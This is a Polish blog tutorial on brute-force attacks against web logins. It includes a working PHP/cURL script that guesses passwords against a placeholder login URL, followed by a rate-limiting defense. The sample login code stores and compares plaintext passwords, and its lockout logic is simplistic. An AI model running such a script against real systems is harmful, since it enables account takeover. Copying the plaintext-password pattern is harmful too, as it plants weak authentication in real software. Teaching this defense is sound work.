(Nie)bezpieczny kod – Brute force

O brute force słyszał pewnie każdy programista. Jest to prymitywna i prosta metoda ataku, ale w czasach coraz szybszych maszyn i internetu może okazać się skuteczna, o ile nie zabezpieczy się odpowiednio aplikacji. Jak to zrobić przeczytasz w tym artykule :)

Trochę teorii

Brute force polega na próbie odgadnięcia hasła poprzez generowanie wszystkich możliwych kombinacji ciągu znaków. W ten sposób można złamać każde hasło. Jest tylko małe ale, jest nim … czas. Przy krótkich hasłach (np. 5 znaków) sprawdzenie wszystkich kombinacji może zająć kilka dni, ale przy większej ilości znaków musielibyśmy poczekać dłużej niż istnieje wszechświat.

Mimo tak długiego czasu oczekiwania przy najdłuższych hasłach, warto się zabezpieczyć. Spora część ludzi posiada krótkie hasła. Ponadto po co się narażać na przeciążenie serwera.

Przykładowy atak Brute force

Żeby zobrazować w jaki sposób wykonać atak brute force stworzyłem prosty system logowania.

Dane dostępu trzymane są w bazie danych, w tabeli admin.

Zrzut tabeli bazy danych

Skrypt logowania wygląda następująco:

<?php
$dbh = new PDO('mysql:host=****;dbname=****', '****', '****');
if (isset($_POST)) {
    $login = $_POST['login'];
    $password = $_POST['password'];
    $user = $dbh->prepare("SELECT * from admin WHERE login=:login AND password=:password");
    $user->bindValue('login', $login, PDO::PARAM_STR);
    $user->bindValue('password', $password, PDO::PARAM_STR);
    $user->execute();
    if ($user->fetchColumn()) {
        echo 'Zalogowany';
        exit;
    }
}
?>
<html>
<head>
    <title>Brute force</title>
</head>
<body>
<form action="" method="post">
    Login: <input type="name" name="login"/><br/>
    Password: <input type="name" name="password"/><br/>
    <input type="submit" value="Login"/>
</form>
</body>

Jest to formularz z dwoma polami do wpisania: loginu i hasła. W przypadku udanego logowania wyświetli się komunikat Zalogowany.

Brute force można wykonać samemu, ręcznie wpisując dane, ale maszyna szybciej wpisze dane niż my. Do tego celu stworzyłem prosty skrypt korzystający z biblioteki Curl.

<?php
do {
$postData = array(
    'login' => 'admin1',
    'password' => generatePassword(6),
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,'http://jakas-strona.pl/logowanie');
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_POST,true);
curl_setopt($ch, CURLOPT_POSTFIELDS,$postData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
echo "Wygenerowwane haslo ".$postData['password']."<br>";
$output = curl_exec($ch);
} while ($output!='Zalogowany');
echo $output;
function generatePassword($length = 8) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $count = mb_strlen($chars);

    for ($i = 0, $result = ''; $i < $length; $i++) {
        $index = rand(0, $count - 1);
        $result .= mb_substr($chars, $index, 1);
    }

    return $result;
}

Powyższy skrypt wysyła zapytanie z danymi zapisanymi w POST. Dopóki strona nie zwróci komunikatu Zalogowany skrypt będzie losować hasło i wykonywać kolejne zapytania.

Brute foce z wykorzystaniem biblioteki Curl

Teraz pozostaje tylko czekać, aż skrypt zgadnie hasło. Oczywiście funkcja losująca hasło nie jest optymalna, ale nie o to chodzi w tym artykule :).

Jak się zabezpieczyć przed Brute force?

Prostym i skutecznym zabezpieczeniem jest ograniczenie prób logowania w określonym czasie (np. 3 próby w ciągu 5 minut). Tego typu rozwiązanie znacznie wydłuży działanie skryptu brute force.

Skrypt logowania zabezpieczony przed brute force wygląda tak:

<?php
$badLoginCountMax = 3;
$badLoginTime = 300;
$dbh = new PDO('mysql:host=****;dbname=****', '****', '****');
if (isset($_POST)) {
    $login = $_POST['login'];
    $password = $_POST['password'];
    // Skrypt sprawdza czy przekroczono ilosc prob logowania
    if (getLoginCount($login) >= $badLoginCountMax && getFailedLogin($login) + $badLoginTime >= time()) {
        echo 'Przekroczyles maksymalna ilosc logowan.';
        exit;
    } else {
        // jezeli uplynal czas blokady zeruje licznik
        if(getLoginCount($login)>=$badLoginCountMax) {
            $query = $dbh->prepare("UPDATE admin SET failed_login_count=:failed_login_count WHERE login=:login");
            $query->bindValue('login', $login, PDO::PARAM_STR);
            $query->bindValue('failed_login_count', 0, PDO::PARAM_INT);
            $query->execute();
        }
        $user = $dbh->prepare("SELECT * from admin WHERE login=:login AND password=:password");
        $user->bindValue('login', $login, PDO::PARAM_STR);
        $user->bindValue('password', $password, PDO::PARAM_STR);
        $user->execute();
        // zwieksza ilosc prob logowania o 1
        $query = $dbh->prepare("UPDATE admin SET failed_login_count=:failed_login_count WHERE login=:login");
        $query->bindValue('login', $login, PDO::PARAM_STR);
        $query->bindValue('failed_login_count', getLoginCount($login)+1, PDO::PARAM_INT);
        $query->execute();
        // jeezli jest to pierwsza proba logowania zapisuje czas pierwsezj proby
        if(getLoginCount($login)==1) {
            $query = $dbh->prepare("UPDATE admin SET first_failed_login=:first_failed_login WHERE login=:login");
            $query->bindValue('login', $login, PDO::PARAM_STR);
            $query->bindValue('first_failed_login', time(), PDO::PARAM_STR);
            $query->execute();
        }
        if ($user->fetchColumn()) {
            echo 'Zalogowany';
            // jezeli udalo sie zalogowac zeruje licznik i czas pierwszej proby
            $query = $dbh->prepare("UPDATE admin SET first_failed_login=:first_failed_login, failed_login_count=:failed_login_count WHERE login=:login");
            $query->bindValue('login', $login, PDO::PARAM_STR);
            $query->bindValue('failed_login_count', 0, PDO::PARAM_INT);
            $query->bindValue('first_failed_login', 0, PDO::PARAM_STR);
            $query->execute();
            exit;
        } else {

        }
    }
}
    function getLoginCount($login)
    {
        global $dbh;
        $query = $dbh->prepare("SELECT * from admin WHERE login=:login");
        $query->bindValue('login', $login, PDO::PARAM_STR);
        $query->execute();
        $users = $query->fetchAll();
        if (isset($users[0])) {
            return (int)$users[0]['failed_login_count'];
        }
        return false;
    }

    function getFailedLogin($login)
    {
        global $dbh;
        $query = $dbh->prepare("SELECT * from admin WHERE login=:login");
        $query->bindValue('login', $login, PDO::PARAM_STR);
        $query->execute();
        $users = $query->fetchAll();
        if (isset($users[0])) {
            return (int)$users[0]['first_failed_login'];
        }
        return false;
    }

    ?>
<html>
<head>
    <title>Brute force</title>
</head>
<body>
<form action="" method="post">
    Login: <input type="name" name="login" /><br/>
    Password: <input type="name" name="password" /><br/>
    <input type="submit" value="Login"/>
</form>
</body>

Uwaga: informacje przedstawione w artykule służą tylko celom edukacyjnym. ZABRONIONE jest wykorzystywanie informacji przedstawionych w artykule do celów niezgodnych z prawem. Autor nie ponosi odpowiedzialności za ewentualne szkody.

Print Friendly, PDF & Email